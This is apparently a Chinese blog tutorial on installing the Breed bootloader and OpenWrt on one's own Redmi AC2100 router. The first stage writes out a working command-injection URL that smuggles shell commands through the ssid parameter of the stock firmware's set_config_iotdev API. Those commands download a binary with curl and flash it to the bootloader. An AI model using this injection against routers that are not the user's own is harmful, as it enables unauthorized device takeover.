前言 红米 AC2100(RM2100)因其强大的 MT7621 处理器和优秀的信号表现,曾被称为“千元内性价比之王”。但原厂固件功能匮乏。本文将记录如何利用 set_config_iotdev 接口漏洞,免拆机、免复杂的 SSH 开启步骤,一键刷入 Breed 不死控制台,并采用最稳妥的“双底包机制”刷入 OpenWrt 系统。

本文参考https://openwrt.mpdn.fun/?dir=lede/mtk/#%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B以及https://www.right.com.cn/forum/thread-8413437-1-1.htmlhttps://www.right.com.cn/forum/thread-4066963-1-1.html等文章

⚠️ 风险警告:刷机有风险,操作不当可能导致路由器变砖。请严格按照步骤操作,本文不对设备损坏负责。


准备工作

  1. 硬件:红米 AC2100 路由器(或小米 AC2100)、网线、电脑。
  2. 固件环境:需将路由器降级至 官方固件 2.0.7 版本(此版本存在 Shell 注入漏洞)。
  3. 软件/文件
    • Breed 固件文件(推荐 Hackpascal 大神 2022 年版)。
    • OpenWrt 底包文件(kernel1.binrootfs0.bin)。

第一阶段:漏洞注入,一键刷入 Breed

这是最核心的一步。我们利用路由器后台 API 对 ssid 参数过滤不严的漏洞,直接注入 Shell 命令下载并写入 Bootloader。

1. 获取 STOK

登录路由器后台(192.168.31.1),登录成功后,观察浏览器地址栏: http://192.168.31.1/cgi-bin/luci/;stok=你的STOK在这里/web/home 复制 stok= 后面那一长串字符。

2. 构造 Payload 并执行

重要!!!在保证路由器有网的情况下,将你的 STOK 替换到下方链接中,直接在浏览器地址栏回车访问。

漏洞原理代码(Linux 视角):

cd /tmp
# 下载文件
curl -o breed.bin https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin -k -g

# 核心验证逻辑:
# 1. 计算下载文件的 hash
# 2. 用 grep 搜索是否存在你提供的那个 05ebb... 字符串
# 3. && (AND) 只有 grep 找到了(返回 0),才执行后面的 mtd 刷写命令
sha256sum breed.bin | grep 05ebb31fd889b148022346179346d91c60a1b4518bdc4d8b9717a62aec638bed && mtd -r write breed.bin Bootloader

一键执行链接 (Payload): 请将 <你的STOK> 替换为实际字符:

Plaintext

http://192.168.31.1/cgi-bin/luci/;stok=<你的STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20breed.bin%20https%3A%2F%2Fbreed.hackpascal.net%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0Asha256sum%20breed.bin%20%7C%20grep%2005ebb31fd889b148022346179346d91c60a1b4518bdc4d8b9717a62aec638bed%20%26%26%20mtd%20-r%20write%20breed.bin%20Bootloader%0A

如果页面返回 {"code":0},说明命令已发送。等待 1-2 分钟,路由器会自动重启。


第二阶段:进入 Breed 并升级版本

刷入成功后,原来的官方 Bootloader 已经被 Breed 替代。

  1. 进入方式:拔掉电源 -> 按住 Reset 键不放 -> 插上电源 -> 等待蓝灯闪烁(约 5-8 秒) -> 松开 Reset。
  2. 访问控制台:电脑网线连接路由器 LAN 口,浏览器访问 192.168.1.1

关键检查:版本确认

在 Breed 首页查看“系统信息”。

  • 如果是 2022 年之前的版本必须升级! 旧版 Breed 无法正确引导新版 OpenWrt 内核(Kernel 5.4+)。
  • 升级方法:在“固件更新” -> “Bootloader” -> 上传 breed-mt7621-xiaomi-r3g.bin (2022版) -> 更新。

第三阶段:双底包刷入 OpenWrt(核心避坑点)

很多新手在这里直接刷 sysupgrade.bin 导致无限重启。由于分区布局差异,我们必须手动指定 Kernel 和 Rootfs 分区。

1. 准备底包文件

你需要下载专门为 AC2100 准备的两个文件(通常在 OpenWrt 编译固件包里能找到):

  • openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin (内核)
  • openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin (文件系统)

2. Breed 设置(不要选错!)

进入 Breed 的 “固件更新” 页面:

  • 闪存布局:选择 【小米 R3G OpenWrt】(注意:不是小米 R3G 原厂,也不是公版,必须是 R3G OpenWrt)。

3. 上传文件

勾选页面上的“固件”选框,此时会出现两个上传按钮:

  • KERNEL1:上传 squashfs-kernel1.bin
  • ROOTFS0:上传 squashfs-rootfs0.bin

4. 刷入并重启

点击“上传”,Breed 会校验文件。确认无误后点击“更新”。 等待进度条走完,路由器会自动重启。


第四阶段:验证与配置

重启过程需要 2-3 分钟。

  1. 观察路由器指示灯,当蓝灯常亮时,说明系统启动成功。
  2. 电脑自动获取 IP,通常为 192.168.1.1192.168.5.1(视固件编译者设定而定)。
  3. 进入后台(默认账号通常为 root / passwordroot / 无密码)。

至此,你的红米 AC2100 已经成功脱胎换骨。


第五阶段:刷完底包之后

刷入这两个底包重启成功后,你得到的是一个纯净但功能很少的 OpenWrt 底包。 之后如果你想升级功能更全的版本(比如带 PassWall, Docker 等),就可以直接在 OpenWrt 的后台(LuCI 界面) -> 系统 -> 备份/升级 里,直接上传普通的 sysupgrade.bin 固件了,因为底层的分区地基已经打好了。


技术复盘(Linux Note)

对于喜欢探究原理的同学,为什么非要用“双底包”?

MTD 分区表 (Memory Technology Device) 嵌入式 Linux 直接在 Flash 芯片上划分区域。红米 AC2100 的官方分区非常奇特,而 OpenWrt 社区为了统一标准,通常借用了小米 R3G 的内存映射(Memory Map)。

  • Kernel 分区:存放 Linux 内核 (vmlinuz)。
  • Rootfs 分区:存放只读文件系统 (SquashFS)。

如果我们直接刷入打包好的 .bin,旧版 Breed 可能无法识别新内核的起始地址,导致引导指针跳转到了错误的位置(比如跳到了数据段),从而引发 Kernel Panic 导致无限重启。手动拆分刷入,相当于我们在物理层面上,强制把内核和文件系统“按在”了正确的内存地址上。

转载请注明原文链接:首页 > 日常 > 【保姆级教程】红米AC2100:从一键漏洞注入到完美刷入 OpenWrt(双底包法)
  • 微信打赏微信打赏

AnHui.HuaiNan

我很感谢那些爱过我的人.